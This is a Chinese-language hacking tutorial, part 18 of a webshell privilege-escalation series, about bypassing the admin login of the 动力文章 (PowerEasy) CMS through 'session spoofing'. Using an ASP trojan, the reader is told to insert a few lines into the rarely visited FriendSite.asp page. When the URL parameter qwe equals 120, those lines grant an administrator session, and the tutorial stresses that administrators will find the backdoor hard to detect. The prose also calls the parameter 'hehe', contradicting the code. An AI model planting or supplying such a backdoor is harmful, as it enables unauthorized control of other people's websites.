超全的webshell权限提升方法(18)


知道了原理,我们现在的一个思路就是通过我们的asp木马来修改它的程序然后拿到一个管理员session,这样的话尽管我们没有管理员密码,但是我们一样在后台通行无阻了。我把这种方法称为session欺骗。限于篇幅不能每个系统都能详细说明,本文仅以动力文章系统为例来说明。 
动力文章系统3.51,(图一) 
图一 
其实动力文章系统的所有版本全部通杀,包括动易。大家可以自己实践一下。 
我们先来看一下它的验证内容。动力文章3.51的验证页面在Admin_ChkLogin.asp 
,其验证内容如下: 
............ 
else 
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR") 
rs("LastLoginTime")=now() 
rs("LoginTimes")=rs("LoginTimes")+1 
rs.update 
session.Timeout=SessionTimeout 
session("AdminName")=rs("username") 
rs.close 
set rs=nothing 
call CloseConn() 
Response.Redirect "Admin_Index.asp" 
前面省略号是用户名密码不正确的验证,直到else,看一下,如果用户名密码正确就给你两个session值: 
session.Timeout=SessionTimeout 
session("AdminName")=rs("username") 
我们在看一下其他管理页面是怎么验证session的,admin_index.asp一开始就这样: 
if session("AdminName") = "" then response.Redirect "Admin_Login.asp"end if 
看起来似乎很严密,但是我们看一下,它这里值验证一个AdminName的session,只要我们的session内容是AdminName的话不就可以通过了?好,我们开工,先去弄到它的管理员账号再说,这个不要我教你了吧?到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下,我找一个比较没人而内容较多的页面FriendSite.asp(友情链接页面)来改,呵呵,这样管理员也很难查得出来啊。用asp木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话: 
dim id 
id=trim(request("qwe")) 
if id="120" then 
session("AdminName")="admin" '这里是假设的,实际操作中可以改成你想要得管理员账号 
end if 
我简单说一下这句话的意思,就是说从地址栏取得hehe的值,如果hehe=120的话,那么系统就给我们一个值为admin的session。好了,我们输入看一下,图二: 
图二 
看到有什么异常吗,没有吧?还是正常页面,但是我们接着在地址栏中输入它的后台管理首页看看,是不是进去了?图三: 
图三 
呵呵,别做坏事哦............ 
小结一下:我们先找到弄到管理员账号,然后找到它的验证页面,根据它的验证内容来写入我们要的后门。不同的系统有不同的验证方式,比如青创文章系统它不但要验证你的用户名还要验证等级,但是我们总体思路还是一样,就是他验证什么我们就加入什么。 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1417.html